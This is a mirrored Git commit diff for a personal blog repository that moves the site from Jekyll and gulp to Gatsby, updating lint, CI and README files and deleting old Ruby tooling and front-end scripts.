mirror of
https://github.com/kremalicious/blog.git
synced 2025-02-14 21:10:25 +01:00
GitHub
commit
135ec51d47
5
.codeclimate.yml
Normal file
5
.codeclimate.yml
Normal file
@ -0,0 +1,5 @@
|
||||
version: '2'
|
||||
checks:
|
||||
method-lines:
|
||||
config:
|
||||
threshold: 55 # Gatsby's StaticQuery makes render functions pretty long
|
||||
@ -1,13 +1,14 @@
|
||||
|
||||
# EditorConfig is awesome: http://EditorConfig.org
|
||||
root = true
|
||||
|
||||
[*]
|
||||
indent_style = space
|
||||
indent_size = 4
|
||||
indent_size = 2
|
||||
end_of_line = lf
|
||||
insert_final_newline = true
|
||||
charset = utf-8
|
||||
trim_trailing_whitespace = true
|
||||
|
||||
[*.json]
|
||||
indent_size = 2
|
||||
[*.scss]
|
||||
indent_size = 4
|
||||
|
||||
27
.eslintrc
Normal file
27
.eslintrc
Normal file
@ -0,0 +1,27 @@
|
||||
{
|
||||
"parser": "babel-eslint",
|
||||
"extends": [
|
||||
"eslint:recommended",
|
||||
"plugin:react/recommended",
|
||||
"plugin:prettier/recommended"
|
||||
],
|
||||
"plugins": ["react", "graphql", "prettier"],
|
||||
"parserOptions": {
|
||||
"sourceType": "module",
|
||||
"ecmaFeatures": {
|
||||
"jsx": true,
|
||||
"modules": true
|
||||
}
|
||||
},
|
||||
"env": {
|
||||
"browser": true,
|
||||
"node": true,
|
||||
"es6": true
|
||||
},
|
||||
"rules": {
|
||||
"quotes": ["error", "single"],
|
||||
"semi": ["error", "never"],
|
||||
"object-curly-spacing": ["error", "always"],
|
||||
"prettier/prettier": "error"
|
||||
}
|
||||
}
|
||||
8
.gitignore
vendored
8
.gitignore
vendored
@ -1,8 +1,8 @@
|
||||
node_modules
|
||||
_site
|
||||
_build
|
||||
Gemfile.lock
|
||||
_src/.jekyll-metadata
|
||||
yarn.lock
|
||||
.yarnclean
|
||||
package-lock.json
|
||||
public
|
||||
.cache
|
||||
src/components/svg
|
||||
plugins/gatsby-redirect-from
|
||||
|
||||
8
.markdownlint.json
Normal file
8
.markdownlint.json
Normal file
@ -0,0 +1,8 @@
|
||||
{
|
||||
"default": true,
|
||||
"line_length": false,
|
||||
"no-inline-html": false,
|
||||
"fenced-code-language": false,
|
||||
"first-line-h1": false,
|
||||
"first-heading-h1": false
|
||||
}
|
||||
5
.prettierignore
Normal file
5
.prettierignore
Normal file
@ -0,0 +1,5 @@
|
||||
node_modules/
|
||||
.cache/
|
||||
static/
|
||||
public/
|
||||
content/
|
||||
5
.prettierrc
Normal file
5
.prettierrc
Normal file
@ -0,0 +1,5 @@
|
||||
{
|
||||
"semi": false,
|
||||
"singleQuote": true,
|
||||
"trailingComma": "none"
|
||||
}
|
||||
13
.stylelintrc
Normal file
13
.stylelintrc
Normal file
@ -0,0 +1,13 @@
|
||||
{
|
||||
"extends": [
|
||||
"stylelint-config-standard",
|
||||
"stylelint-config-css-modules",
|
||||
"./node_modules/prettier-stylelint/config.js"
|
||||
],
|
||||
"syntax": "scss",
|
||||
"rules": {
|
||||
"indentation": 4,
|
||||
"number-leading-zero": "never",
|
||||
"at-rule-no-unknown": null
|
||||
}
|
||||
}
|
||||
40
.travis.yml
40
.travis.yml
@ -1,36 +1,22 @@
|
||||
language: ruby
|
||||
rvm:
|
||||
- 2.5
|
||||
language: node_js
|
||||
node_js: node
|
||||
|
||||
cache:
|
||||
bundler: true
|
||||
directories:
|
||||
- $TRAVIS_BUILD_DIR/node_modules
|
||||
- $TRAVIS_BUILD_DIR/_site/media
|
||||
- node_modules
|
||||
- public
|
||||
|
||||
addons:
|
||||
artifacts:
|
||||
paths:
|
||||
- $TRAVIS_BUILD_DIR/_site/media
|
||||
apt:
|
||||
update: true
|
||||
packages:
|
||||
- libgsl0ldbl
|
||||
- libgsl0-dev
|
||||
install:
|
||||
- npm i
|
||||
|
||||
before_install:
|
||||
- nvm install 10
|
||||
|
||||
before_script: "_ci/setup.sh"
|
||||
script: "_ci/build.sh"
|
||||
|
||||
deploy:
|
||||
skip_cleanup: true
|
||||
provider: script
|
||||
script: "_ci/deploy.sh"
|
||||
on:
|
||||
branch: master
|
||||
script:
|
||||
- npm test
|
||||
- npm run build
|
||||
|
||||
after_success:
|
||||
- pip install --user awscli
|
||||
- export PATH=$PATH:$HOME/.local/bin
|
||||
- npm run deploy
|
||||
|
||||
notifications:
|
||||
email: false
|
||||
|
||||
20
Gemfile
20
Gemfile
@ -1,20 +0,0 @@
|
||||
# A sample Gemfile
|
||||
source "https://rubygems.org"
|
||||
|
||||
group :jekyll do
|
||||
gem 'jekyll'
|
||||
gem 'jekyll-sitemap'
|
||||
gem 'jekyll-redirect-from'
|
||||
gem 'jekyll-archives'
|
||||
gem 'jekyll-paginate'
|
||||
end
|
||||
|
||||
group :development do
|
||||
gem 'redcarpet'
|
||||
end
|
||||
|
||||
group :lsi do
|
||||
gem 'narray'
|
||||
gem 'gsl'
|
||||
gem 'classifier-reborn'
|
||||
end
|
||||
2
LICENSE
2
LICENSE
@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2008-2017 Matthias Kretschmann
|
||||
Copyright (c) 2008-2018 Matthias Kretschmann
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
|
||||
|
||||
@ -1,5 +1,3 @@
|
||||
All post content under `_src/_posts` is licensed under a
|
||||
Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International
|
||||
License.
|
||||
All post content under `./content/posts` is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.
|
||||
|
||||
http://creativecommons.org/licenses/by-nc-sa/4.0/.
|
||||
|
||||
@ -1,7 +1,6 @@
|
||||
All photos & image assets under `_src/_media`, `_src/assets/img`, and
|
||||
`assets sheet.psd` are plain ol' copyright.
|
||||
All photos & image assets under `./content/media`, `./src/images`, and `assets sheet.psd` are plain ol' copyright.
|
||||
|
||||
Copyright (c) 2008–2017 Matthias Kretschmann
|
||||
Copyright (c) 2008–2018 Matthias Kretschmann
|
||||
|
||||
Don't care if you fork & play with it, but you're not allowed to publish
|
||||
anything from it as a whole without my written permission.
|
||||
|
||||
73
README.md
73
README.md
@ -1,75 +1,50 @@
|
||||
kremalicious3
|
||||
==================
|
||||
# blog
|
||||
|
||||
> [kremalicious.com](http://kremalicious.com) based on [Jekyll](http://jekyllrb.com). Neat.
|
||||
> 🍭 My blog [kremalicious.com](http://kremalicious.com) built with [Gatsby](http://gatsbyjs.org). Neat.
|
||||
|
||||
[](https://travis-ci.com/kremalicious/kremalicious3)
|
||||
[](https://greenkeeper.io/)
|
||||
[](https://travis-ci.com/kremalicious/blog)
|
||||
[](https://codeclimate.com/github/kremalicious/blog/maintainability)
|
||||
[](https://www.codacy.com/app/kremalicious/blog)
|
||||
[](https://greenkeeper.io/)
|
||||
|
||||
|
||||
Requirements
|
||||
------------------
|
||||
## Requirements
|
||||
|
||||
You need to have the following tools installed on your development machine before moving on:
|
||||
|
||||
- [node.js](http://nodejs.org/) & [npm](https://npmjs.org/)
|
||||
- [Ruby](https://www.ruby-lang.org) (for sanity, install with [rvm](https://rvm.io/)) and [Bundler](http://bundler.io/)
|
||||
- [Node.js](http://nodejs.org/)
|
||||
- [npm](https://npmjs.org/)
|
||||
|
||||
|
||||
Content Creation
|
||||
------------------
|
||||
|
||||
Some handy rake tasks creating the correct front matter for each content type:
|
||||
|
||||
New Content | Command
|
||||
----------- | -----------
|
||||
Post | `rake post -- Title`
|
||||
Photo | `rake photo -- Title`
|
||||
Link | `rake link -- Title`
|
||||
|
||||
|
||||
Get up and running
|
||||
------------------
|
||||
|
||||
|
||||
### Install dependencies
|
||||
|
||||
Run the following command from the repository's root folder to install all dependencies.
|
||||
## Development
|
||||
|
||||
```bash
|
||||
npm install && bundle install
|
||||
npm i
|
||||
npm start
|
||||
```
|
||||
|
||||
### Development server
|
||||
|
||||
This generates the site with the dev build task `gulp build` and starts a local dev server combined with a livereloading watch task under `http://localhost:1337`.
|
||||
## Production build
|
||||
|
||||
```bash
|
||||
gulp
|
||||
npm run build
|
||||
```
|
||||
|
||||
### Production build
|
||||
## Licenses
|
||||
|
||||
```bash
|
||||
gulp build --production
|
||||
```
|
||||
The MIT License (MIT)
|
||||
|
||||
|
||||
Licenses
|
||||
------------------
|
||||
except for:
|
||||
|
||||
### Posts
|
||||
|
||||
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/80x15.png" /></a><br />All post content under `_src/_posts` is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.
|
||||
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">
|
||||
<img alt="Creative Commons License" style="border-width:0;" src="https://i.creativecommons.org/l/by-nc-sa/4.0/80x15.png" />
|
||||
</a>
|
||||
|
||||
All post content under `./content/posts` is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.
|
||||
|
||||
### Photos & images
|
||||
|
||||
All photos & image assets under `_src/_media`, `_src/assets/img`, and `assets sheet.psd` are plain ol' copyright.
|
||||
All photos & image assets under `./content/media`, `./src/images`, and `assets sheet.psd` are plain ol' copyright.
|
||||
|
||||
Copyright (c) 2008–2017 Matthias Kretschmann
|
||||
Copyright (c) 2008–2018 Matthias Kretschmann
|
||||
|
||||
Don't care if you fork & play with it, but you're not allowed to publish anything from it as a whole without my written permission.
|
||||
|
||||
### Everything else
|
||||
|
||||
The MIT License (MIT)
|
||||
|
||||
93
Rakefile
93
Rakefile
@ -1,93 +0,0 @@
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'yaml'
|
||||
|
||||
#
|
||||
# Create New Post
|
||||
# rake post -- Title
|
||||
#
|
||||
task :post do
|
||||
OptionParser.new.parse!
|
||||
ARGV.shift
|
||||
title = ARGV.join(' ')
|
||||
|
||||
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
|
||||
|
||||
if File.exist?(path)
|
||||
puts "Dude, file exists - skipping create"
|
||||
else
|
||||
File.open(path, "w") do |file|
|
||||
file.puts YAML.dump({
|
||||
'layout' => 'post',
|
||||
'title' => title,
|
||||
'image' => 'REPLACEME.jpg',
|
||||
'author' => 'Matthias Kretschmann',
|
||||
'date' => Time.now
|
||||
})
|
||||
file.puts "---"
|
||||
end
|
||||
end
|
||||
`atom #{path}`
|
||||
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# Create New Photo Post
|
||||
# rake photo -- Title
|
||||
#
|
||||
task :photo do
|
||||
OptionParser.new.parse!
|
||||
ARGV.shift
|
||||
title = ARGV.join(' ')
|
||||
|
||||
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
|
||||
|
||||
if File.exist?(path)
|
||||
puts "Dude, file exists - skipping create"
|
||||
else
|
||||
File.open(path, "w") do |file|
|
||||
file.puts YAML.dump({
|
||||
'layout' => 'photo',
|
||||
'title' => title,
|
||||
'image' => 'REPLACEME.jpg',
|
||||
'author' => 'Matthias Kretschmann',
|
||||
'date' => Time.now,
|
||||
'category' => 'photos'
|
||||
})
|
||||
file.puts "---"
|
||||
end
|
||||
end
|
||||
`atom-beta #{path}`
|
||||
|
||||
exit 1
|
||||
end
|
||||
|
||||
#
|
||||
# Create New Link Post
|
||||
# rake link -- Title
|
||||
#
|
||||
task :photo do
|
||||
OptionParser.new.parse!
|
||||
ARGV.shift
|
||||
title = ARGV.join(' ')
|
||||
|
||||
path = "_src/_drafts/#{Date.today}-#{title.downcase.gsub(/[^[:alnum:]]+/, '-')}.md"
|
||||
|
||||
if File.exist?(path)
|
||||
puts "Dude, file exists - skipping create"
|
||||
else
|
||||
File.open(path, "w") do |file|
|
||||
file.puts YAML.dump({
|
||||
'layout' => 'link',
|
||||
'title' => title,
|
||||
'author' => 'Matthias Kretschmann',
|
||||
'date' => Time.now
|
||||
})
|
||||
file.puts "---"
|
||||
end
|
||||
end
|
||||
`atom #{path}`
|
||||
|
||||
exit 1
|
||||
end
|
||||
@ -1,4 +1,3 @@
|
||||
<?xml version="1.0"?>
|
||||
<RoutingRules>
|
||||
<RoutingRule>
|
||||
<Condition>
|
||||
|
||||
11
_ci/build.sh
11
_ci/build.sh
@ -1,11 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
npm test &&
|
||||
|
||||
if [ "$TRAVIS_BRANCH" == "master" ]; then
|
||||
gulp build --production
|
||||
else
|
||||
gulp build
|
||||
fi;
|
||||
|
||||
exit;
|
||||
@ -1,17 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -e;
|
||||
|
||||
echo "$(tput setaf 136)"
|
||||
echo " Starting S3 deployment "
|
||||
echo "============================================="
|
||||
echo "$(tput sgr0)" # reset
|
||||
|
||||
gulp deploy
|
||||
|
||||
gulp seo
|
||||
|
||||
echo "$(tput setaf 64)" # green
|
||||
echo "---------------------------------------------"
|
||||
echo " ✓ done S3 deployment "
|
||||
echo "$(tput sgr0)" # reset
|
||||
19
_ci/setup.sh
19
_ci/setup.sh
@ -1,19 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
|
||||
set -e;
|
||||
|
||||
echo "$(tput setaf 136)"
|
||||
echo " Installing dependencies "
|
||||
echo "============================================="
|
||||
echo "$(tput sgr0)" # reset
|
||||
|
||||
npm install gulp-cli -g
|
||||
npm install
|
||||
|
||||
# Travis does that automatically after selecting ruby
|
||||
#bundle install
|
||||
|
||||
echo "$(tput setaf 64)" # green
|
||||
echo "---------------------------------------------"
|
||||
echo " ✓ done installing dependencies"
|
||||
echo "$(tput sgr0)" # reset
|
||||
@ -1,3 +0,0 @@
|
||||
|
||||
# fix for jekyll-picture-tag always prepending site.url
|
||||
url: http://localhost:1337
|
||||
76
_config.yml
76
_config.yml
@ -1,76 +0,0 @@
|
||||
#
|
||||
# Home: /
|
||||
# Archive Page: /archive/
|
||||
# Pagination: /page/N/
|
||||
# Post: /post-slug/
|
||||
# RSS Feed: /feed/
|
||||
#
|
||||
|
||||
# Basics
|
||||
# --------------------
|
||||
|
||||
name: kremalicious
|
||||
description: 'Blog of designer & developer Matthias Kretschmann'
|
||||
url: https://kremalicious.com
|
||||
author:
|
||||
name: Matthias Kretschmann
|
||||
email: m@kretschmann.io
|
||||
uri: https://matthiaskretschmann.com
|
||||
twitter: kremalicious
|
||||
github: kremalicious
|
||||
facebook: matthiaskretschmann
|
||||
googleplus: +MatthiasKretschmann
|
||||
bitcoin: 171qDmKEXm9YBgBLXyGjjPvopP5o9htQ1V
|
||||
ether: "0x339dbC44d39bf1961E385ed0Ae88FC6069b87Ea1"
|
||||
|
||||
|
||||
# Urls
|
||||
# --------------------
|
||||
|
||||
permalink: /:title/
|
||||
paginate: 15
|
||||
paginate_path: "/page/:num"
|
||||
category_dir: "/"
|
||||
category_title_prefix: ""
|
||||
media_url: "https://res.cloudinary.com/kremalicious"
|
||||
|
||||
|
||||
# Content Parsing
|
||||
# --------------------
|
||||
|
||||
future: false
|
||||
markdown: redcarpet
|
||||
|
||||
redcarpet:
|
||||
extensions: ['no_intra_emphasis', 'autolink', 'tables', 'smart', 'hard_wrap', 'fenced_code_blocks', 'strikethrough', 'highlight', 'quote', 'footnotes', 'with_toc_data', 'space_after_headers', 'superscript', 'lax_spacing']
|
||||
|
||||
|
||||
# Generator
|
||||
# --------------------
|
||||
|
||||
source: ./_src
|
||||
destination: ./_site
|
||||
keep_files: ['media']
|
||||
|
||||
|
||||
# Plugins
|
||||
# --------------------
|
||||
|
||||
plugins:
|
||||
- jekyll-sitemap
|
||||
- jekyll-redirect-from
|
||||
- jekyll-paginate
|
||||
- jekyll-archives
|
||||
|
||||
|
||||
# jekyll-archives
|
||||
# --------------------
|
||||
|
||||
jekyll-archives:
|
||||
enabled:
|
||||
- categories
|
||||
- tags
|
||||
layout: 'archive'
|
||||
permalinks:
|
||||
tag: '/tag/:name/'
|
||||
category: '/:name/'
|
||||
13
_src/404.md
13
_src/404.md
@ -1,13 +0,0 @@
|
||||
---
|
||||
layout: page
|
||||
title: I'm sorry Dave
|
||||
---
|
||||
|
||||
<div class="hal-9000"></div>
|
||||
|
||||
<p class="srverror-title">I'm sorry Dave,</p>
|
||||
<p class="srverror-text">I'm afraid I can't do that.</p>
|
||||
|
||||
<a href="#" class="js-search-init">How about a nice search?</a>
|
||||
|
||||
[Go to homepage](/)
|
||||
@ -1,32 +0,0 @@
|
||||
/* exported krlcMenu */
|
||||
|
||||
const krlcMenu = (() => { // eslint-disable-line no-unused-vars
|
||||
const _config = {
|
||||
thesite: document.getElementsByClassName('site')[0],
|
||||
thelink: document.getElementsByClassName('menu-btn')[0],
|
||||
thepop: document.getElementsByClassName('nav-popover')[0]
|
||||
}
|
||||
|
||||
const _private = {
|
||||
toggleMenu() {
|
||||
_config.thelink.addEventListener('click', e => {
|
||||
e.preventDefault()
|
||||
|
||||
// Toggle menu
|
||||
_config.thesite.classList.toggle('has-menu-open')
|
||||
|
||||
// Dont close thepop when you click on thepop
|
||||
_config.thepop.addEventListener('click', e => {
|
||||
e.stopPropagation()
|
||||
})
|
||||
|
||||
// And dont close thepop now
|
||||
e.stopPropagation()
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
init: _private.toggleMenu
|
||||
}
|
||||
})(); // eslint-disable-line semi
|
||||
@ -1,99 +0,0 @@
|
||||
//
|
||||
// Vex modals
|
||||
//
|
||||
|
||||
/* global vex, fetch, ClipboardJS, QRious */
|
||||
/* exported krlcModals */
|
||||
|
||||
/* eslint-disable spaced-comment */
|
||||
//=require vex-js/dist/js/vex.combined.js
|
||||
//=require clipboard/dist/clipboard.js
|
||||
//=require qrious/dist/qrious.js
|
||||
/* eslint-enable spaced-comment */
|
||||
|
||||
const krlcModals = (() => { // eslint-disable-line no-unused-vars
|
||||
const _config = {
|
||||
btcVexTriggers: document.querySelectorAll('.js-vex-btc')
|
||||
}
|
||||
|
||||
let btcAddress
|
||||
let ethAddress
|
||||
|
||||
const _private = {
|
||||
getBtcAddress() {
|
||||
const url = '/api/site.json'
|
||||
|
||||
fetch(url)
|
||||
.then(res => res.json())
|
||||
.then(data_ => {
|
||||
btcAddress = data_[0].author.bitcoin
|
||||
ethAddress = data_[0].author.ether
|
||||
})
|
||||
.catch(err => console.error(err))
|
||||
|
||||
return { btcAddress, ethAddress }
|
||||
},
|
||||
|
||||
vexBtc() {
|
||||
_config.btcVexTriggers.forEach(el => {
|
||||
el.addEventListener('click', e => {
|
||||
e.preventDefault()
|
||||
|
||||
vex.defaultOptions.className = 'vex-theme-kremalicious vex-bitcoin'
|
||||
vex.dialog.buttons.YES.text = 'Close'
|
||||
vex.open({ unsafeContent: `
|
||||
<h3 class="vex__title">Say thanks</h3>
|
||||
<div class="grid grid--full grid-medium--half grid--gutters">
|
||||
<div class="grid__col">
|
||||
<h4>Bitcoin</h4>
|
||||
<canvas class="qr" id="qr-btc"></canvas>
|
||||
<pre class="highlight"><code id="btcAddress" class="btcAddress nt" value="${btcAddress}">${btcAddress}</code><button class="btn" data-clipboard-target="#btcAddress" title="Copy to clipboard"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 22 22"><path d="M16 8v8H8v4h12V8h-4zm0-2h6v16H6v-6H0V0h16v6zM2 2v12h12V2H2z"></path></svg></button></pre>
|
||||
</div>
|
||||
<div class="grid__col">
|
||||
<h4>Ethereum</h4>
|
||||
<canvas class="qr" id="qr-eth"></canvas>
|
||||
<pre class="highlight"><code id="ethAddress" class="ethAddress nt" value="${ethAddress}">${ethAddress}</code><button class="btn" data-clipboard-target="#ethAddress" title="Copy to clipboard"><svg xmlns="http://www.w3.org/2000/svg" width="22" height="22" viewBox="0 0 22 22"><path d="M16 8v8H8v4h12V8h-4zm0-2h6v16H6v-6H0V0h16v6zM2 2v12h12V2H2z"></path></svg></button></pre>
|
||||
</div>
|
||||
</div>
|
||||
`
|
||||
})
|
||||
|
||||
// Generate QR codes
|
||||
const qrBtc = new QRious({
|
||||
element: document.getElementById('qr-btc'),
|
||||
value: btcAddress
|
||||
})
|
||||
|
||||
const qrEth = new QRious({
|
||||
element: document.getElementById('qr-eth'),
|
||||
value: ethAddress
|
||||
})
|
||||
|
||||
const qrOptions = {
|
||||
backgroundAlpha: 0,
|
||||
foreground: '#6b7f88',
|
||||
size: 160
|
||||
}
|
||||
|
||||
qrBtc.set(qrOptions)
|
||||
qrEth.set(qrOptions)
|
||||
|
||||
// Clipboard button
|
||||
const clipboard = new ClipboardJS('.btn')
|
||||
|
||||
clipboard.on('success', e => {
|
||||
e.trigger.classList.add('success')
|
||||
e.clearSelection()
|
||||
})
|
||||
})
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
init() {
|
||||
_private.getBtcAddress()
|
||||
_private.vexBtc()
|
||||
}
|
||||
}
|
||||
})(); // eslint-disable-line semi
|
||||
@ -1,90 +0,0 @@
|
||||
/* global SimpleJekyllSearch */
|
||||
/* exported krlcSearch */
|
||||
|
||||
/* eslint-disable spaced-comment */
|
||||
//=require simple-jekyll-search/dest/simple-jekyll-search.js
|
||||
/* eslint-enable spaced-comment */
|
||||
|
||||
const krlcSearch = (() => { // eslint-disable-line no-unused-vars
|
||||
const _config = {
|
||||
searchlink: document.getElementsByClassName('search-btn')[0],
|
||||
searcharea: document.getElementsByClassName('search-area')[0],
|
||||
searchclose: document.getElementsByClassName('search-close')[0],
|
||||
searchfield: document.getElementById('search-input'),
|
||||
searchpop: document.getElementById('search-popover'),
|
||||
searchresults: document.getElementById('search-results')
|
||||
}
|
||||
|
||||
const _private = {
|
||||
searchHide() {
|
||||
// Revert all search elements
|
||||
_config.searcharea.classList.remove('animation-slidedown')
|
||||
_config.searcharea.classList.add('animation-bounceOutUp')
|
||||
_config.searchpop.classList.add('hide')
|
||||
document.body.classList.remove('has-search-open')
|
||||
},
|
||||
|
||||
searchClose() {
|
||||
_config.searchclose.addEventListener('click', e => {
|
||||
e.preventDefault()
|
||||
|
||||
_private.searchHide()
|
||||
|
||||
// Empty search field
|
||||
_config.searchfield.value = ''
|
||||
_config.searchfield.blur()
|
||||
})
|
||||
},
|
||||
|
||||
searchShow() {
|
||||
_config.searchlink.addEventListener('click', e => {
|
||||
e.preventDefault()
|
||||
|
||||
// Show search field
|
||||
_config.searcharea.classList.remove('is-ready', 'animation-bounceOutUp')
|
||||
_config.searcharea.classList.add('is-ready', 'animation-slidedown')
|
||||
document.body.classList.add('has-search-open')
|
||||
|
||||
_config.searchfield.focus()
|
||||
|
||||
SimpleJekyllSearch({ // eslint-disable-line new-cap
|
||||
searchInput: _config.searchfield,
|
||||
resultsContainer: _config.searchresults,
|
||||
json: '/api/search.json',
|
||||
searchResultTemplate: '<a class="search-link" href="{url}">{title}</a>',
|
||||
fuzzy: false
|
||||
})
|
||||
|
||||
// Hide menu too just in case
|
||||
if (document.body.classList.contains('has-menu-open')) {
|
||||
document.body.classList.remove('has-menu-open')
|
||||
}
|
||||
|
||||
// Dont close thepop when click on thepop
|
||||
_config.searchpop.addEventListener('click', e => {
|
||||
e.stopPropagation()
|
||||
})
|
||||
|
||||
// Dont close thepop when click on search field
|
||||
_config.searchfield.addEventListener('click', e => {
|
||||
e.stopPropagation()
|
||||
})
|
||||
|
||||
// And dont close thepop now
|
||||
e.stopPropagation()
|
||||
})
|
||||
|
||||
// Show popup upon first keypress
|
||||
_config.searchfield.addEventListener('keyup', () => {
|
||||
_config.searchpop.classList.remove('hide')
|
||||
})
|
||||
|
||||
// Listen for close icon
|
||||
_private.searchClose()
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
init: _private.searchShow
|
||||
}
|
||||
})(); // eslint-disable-line semi
|
||||
@ -1,82 +0,0 @@
|
||||
const krlcAnalytics = (() => { // eslint-disable-line no-unused-vars
|
||||
//
|
||||
// Track Responsive Breakpoints
|
||||
//
|
||||
// stolen & adapted from
|
||||
// http://philipwalton.com/articles/measuring-your-sites-responsive-breakpoint-usage/
|
||||
//
|
||||
const gaBreakpoints = () => {
|
||||
// Do nothing in browsers that don't support `window.matchMedia`.
|
||||
if (!window.matchMedia) {
|
||||
return
|
||||
}
|
||||
|
||||
// Prevent rapid breakpoint changes for all firing at once.
|
||||
let timeout
|
||||
|
||||
const breakpoints = {
|
||||
xxs: '(max-width: 479px)',
|
||||
xs: '(min-width: 480px) and (max-width: 767px)',
|
||||
sm: '(min-width: 768px) and (max-width: 991px)',
|
||||
md: '(min-width: 992px) and (max-width: 1199px)',
|
||||
lg: '(min-width: 1200px) and (max-width: 1599px)',
|
||||
hg: '(min-width: 1600px)'
|
||||
}
|
||||
|
||||
Object.keys(breakpoints).forEach(breakpoint => {
|
||||
const mql = window.matchMedia(breakpoints[breakpoint])
|
||||
|
||||
// Set the initial breakpoint on page load.
|
||||
if (mql.matches) {
|
||||
window.ga('set', 'dimension1', breakpoint)
|
||||
}
|
||||
|
||||
// Update the breakpoint as the matched media changes
|
||||
mql.addListener(() => {
|
||||
if (mql.matches) {
|
||||
clearTimeout(timeout)
|
||||
timeout = setTimeout(() => {
|
||||
window.ga('set', 'dimension1', breakpoint)
|
||||
}, 1000)
|
||||
}
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Track Viewport
|
||||
//
|
||||
const gaViewport = () => {
|
||||
const width = Math.max(document.documentElement.clientWidth, window.innerWidth || 0)
|
||||
const height = Math.max(document.documentElement.clientHeight, window.innerHeight || 0)
|
||||
const dimensions = width + 'x' + height
|
||||
|
||||
window.ga('set', 'dimension2', dimensions)
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Track Pixel Density
|
||||
//
|
||||
const gaPixelDensity = () => {
|
||||
// Heads up!
|
||||
// window.devicePixelRatio doesn't work correctly in IE but whatever
|
||||
const pixeldensity = window.devicePixelRatio
|
||||
|
||||
window.ga('set', 'dimension3', pixeldensity)
|
||||
}
|
||||
|
||||
|
||||
return {
|
||||
init() {
|
||||
const dnt = navigator.doNotTrack || window.doNotTrack || navigator.msDoNotTrack
|
||||
|
||||
if (dnt !== 'yes' && dnt !== '1') {
|
||||
gaBreakpoints()
|
||||
gaViewport()
|
||||
gaPixelDensity()
|
||||
}
|
||||
}
|
||||
}
|
||||
})(); // eslint-disable-line semi
|
||||
@ -1,17 +0,0 @@
|
||||
/* global krlcMenu, krlcSearch, krlcModals */
|
||||
|
||||
/* eslint-disable spaced-comment */
|
||||
//=require @webcomponents/webcomponentsjs/webcomponents-bundle.js
|
||||
//=require time-elements/dist/time-elements.js
|
||||
|
||||
//=include _menu.js
|
||||
//=include _search.js
|
||||
//=include _modals.js
|
||||
/* eslint-enable spaced-comment */
|
||||
|
||||
//
|
||||
// Init js modules
|
||||
//
|
||||
krlcSearch.init()
|
||||
krlcMenu.init()
|
||||
krlcModals.init()
|
||||
@ -1,59 +0,0 @@
|
||||
/* global EXIF */
|
||||
|
||||
/* eslint-disable spaced-comment */
|
||||
//=include exif-js/exif.js
|
||||
/* eslint-enable spaced-comment */
|
||||
|
||||
window.addEventListener('load', getExif, false)
|
||||
|
||||
function getExif() {
|
||||
const image = document.querySelector('.hentry__teaser img')
|
||||
|
||||
EXIF.getData(image, function () {
|
||||
// Get individual data
|
||||
const modelvalue = EXIF.getTag(this, 'Model')
|
||||
const shutterspeedvalue = EXIF.getTag(this, 'ExposureTime')
|
||||
const aperturevalue = EXIF.getTag(this, 'FNumber')
|
||||
const exposurevalue = EXIF.getTag(this, 'ExposureBias')
|
||||
const isovalue = EXIF.getTag(this, 'ISOSpeedRatings')
|
||||
const focallengthvalue = EXIF.getTag(this, 'FocalLength')
|
||||
|
||||
// Inject data
|
||||
if (modelvalue) {
|
||||
const model = document.querySelector('.exif__model')
|
||||
model.innerHTML = modelvalue
|
||||
}
|
||||
|
||||
if (shutterspeedvalue) {
|
||||
const shutterspeed = document.querySelector('.exif__shutterspeed')
|
||||
shutterspeed.innerHTML = `${shutterspeedvalue.numerator}/${shutterspeedvalue.denominator}s`
|
||||
}
|
||||
|
||||
if (aperturevalue) {
|
||||
const aperture = document.querySelector('.exif__aperture')
|
||||
aperture.innerHTML = `ƒ ${aperturevalue}`
|
||||
}
|
||||
|
||||
if (exposurevalue || exposurevalue === 0) {
|
||||
const exposure = document.querySelector('.exif__exposure')
|
||||
|
||||
if (exposurevalue === 0) {
|
||||
exposure.innerHTML = `+/- ${exposurevalue}`
|
||||
} else if (exposurevalue > 0) {
|
||||
exposure.innerHTML = `+ ${exposurevalue}`
|
||||
} else {
|
||||
exposure.innerHTML = `- ${exposurevalue}`
|
||||
}
|
||||
}
|
||||
|
||||
if (isovalue) {
|
||||
const iso = document.querySelector('.exif__iso')
|
||||
iso.innerHTML = `ISO ${isovalue}`
|
||||
}
|
||||
|
||||
if (focallengthvalue) {
|
||||
const focallength = document.querySelector('.exif__focallength')
|
||||
focallength.innerHTML = `${focallengthvalue}mm`
|
||||
}
|
||||
})
|
||||
}
|
||||
@ -1,96 +0,0 @@
|
||||
.actions
|
||||
@extend .divider-top, .divider-bottom, .small
|
||||
margin-top: ($spacer * 2)
|
||||
padding: $spacer 0
|
||||
|
||||
.grid
|
||||
margin-bottom: 0
|
||||
|
||||
